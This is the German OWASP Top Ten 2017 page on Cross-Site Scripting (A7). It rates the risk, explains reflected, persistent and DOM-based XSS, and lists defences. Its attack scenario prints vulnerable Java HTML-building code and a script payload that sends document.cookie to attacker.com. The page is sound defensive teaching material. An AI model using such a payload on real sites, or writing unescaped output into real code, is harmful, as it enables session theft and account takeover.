OWASP Top Ten 2017 (de)

A7:2017 Cross-Site Scripting (XSS)

 Languages: en [de]
Bedrohungsquellen / Angriffsvektoren Schwachstellen Auswirkungen
Anw.-
spezifisch		 Ausnutzbarkeit: 3 Verbreitung: 3 Auffindbarkeit: 3 technisch: 2 Geschäftl. ?
Automatisierte Tools können alle drei Formen von XSS erkennen und ausnutzen. Dafür sind Exploitation-Frameworks frei verfügbar.
XSS ist bzgl. der Anzahl der betroffenen Anwendungen in der Datenerhebung die zweithäufigste Schwachstelle in der OWASP Top 10. Sie findet sich in etwa zweidrittel aller Anwendungen.
Automatisierte Tools können einige XSS-Schwachstellen automatisch finden. Das gilt insbesondere für ausgereifte Technologien wie PHP, J2EE / JSP und ASP.NET.
Der Schaden durch XSS ist mittel für reflektiertes und DOM-basiertes XSS und schwerwiegend für persistentes XSS. Es kann zu Remote-Code-Execution im Browser des Opfers führen, beispielsweise für den Diebstahl von Zugangsdaten, Sessions oder zur Verbreitung von Schadsoftware beim Opfer.
Ist die Anwendung verwundbar?
Es gibt drei Formen von XSS, die üblicherweise auf die Browser des Benutzers abzielen:
* Reflektiertes XSS: Die Anwendung oder API beinhaltet ungeprüfte und nicht maskierte Nutzereingaben (Escaping) als Teil des HTML-Outputs. Ein erfolgreicher Angriff erlaubt es einem Angreifer, beliebiges HTML und JavaScript im Browser des Opfers auszuführen. Typischerweise wird ein Anwender dazu einen schädlichen Link aufrufen müssen, der auf eine vom Angreifer kontrollierte Seite zeigt, z.B. infizierte populäre Websites (Watering-Hole), Werbung oder vergleichbares.
* Persistentes XSS: Die Anwendung oder API speichert unbereinigten Nutzer-Input der zu einem späteren Zeitpunkt von einem anderen Nutzer oder Administrator angezeigt wird. Persistentes XSS wird oft als hohes oder kritisches Risiko eingeschätzt.
* DOM-basiertes (lokales) XSS: JavaScript Frameworks, Single-Page-Anwendungen und APIs, die vom Angreifer kontrollierte Daten dynamisch einbinden, sind für DOM-basiertes XSS anfällig. Im Idealfall würde die Anwendung keine vom Angreifer kontrollierten Daten an unsichere JavaScript APIs senden.
Typische XSS-Angriffe sind Diebstahl von Sessions, Übernahme von Accounts, MFA-Bypass-Angriffe, DOM-Node-Replacementsoder Defacements (wie betrügerische Login-Seiten), Angriffe gegen den Browser des Nutzer wie schädliche Software-Downloads, Key-Logger und andere Client-basierte Angriffe.
Wie kann ich das verhindern?
von aktiven Browserinhalten getrennt werden. Das kann erreicht werden durch:
* Verwendung von Frameworks, die XSS automatisch (by Design) maskieren, wie z.B. das aktuellste Ruby on Railsoder React JS. Lernen Sie die Einschränkungen des XSS-Schutzes jedes Frameworks kennen und sorgen Sie für eine angemessene Behandlung nicht abgedeckter Fälle.
* Maskieren der nicht vertrauenswürdigen Daten in HTTP-Anfragen auf Grundlage des Kontexts im HTML Output (body, attribute, JavaScript, CSS oder URL) zur Verhinderung von Schwachstellen mit reflektiertem und persistentem XSS. Das OWASP Cheat Sheet ‘XSS Prevention’ bietet weitere Informationen über erforderliche Maskierungs-Techniken.
* Kontextsensitive Kodierung bei der Modifikation der Browserdaten auf der Client-Seite schützt vor DOM-basiertem XSS. Falls das auf diese Weise nicht vermieden werden kann, können vergleichbare kontextsensitive Maskierungs-Techniken auf Browser APIs angewendet werden, wie im OWASP Cheat Sheet ‘DOM based XSS Prevention’ beschrieben.
* Aktivierung von Content Security Policy (CSP) als tiefgreifende Schutzmaßnahme gegen XSS, so lange keine anderen Schwachstellen die lokale Einbindung von Schadcode erlauben (z.B. path traversal overwrites oder verwundbare Bibliotheken aus verwendeten Quellen).
Mögliche Angriffsszenarien
Szenario 1: Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder maskiert werden, um folgenden HTML-Code zu generieren:
(String) page += "<input name='creditcard' type='TEXT'
 value='" + request.getParameter("CC") + "'>";
 Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf:
'><script>document.location=
 'http://www.attacker.com/cgi-bin/cookie.cgi?
 foo='+document.cookie</script>'.
Durch diesen Angriff wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann.
Anmerkung: Angreifer können XSS nutzen, um jegliche automatisierte Abwehr der Anwendung gegen Cross-Site Request Forgery (CSRF) zu umgehen.
Referenzen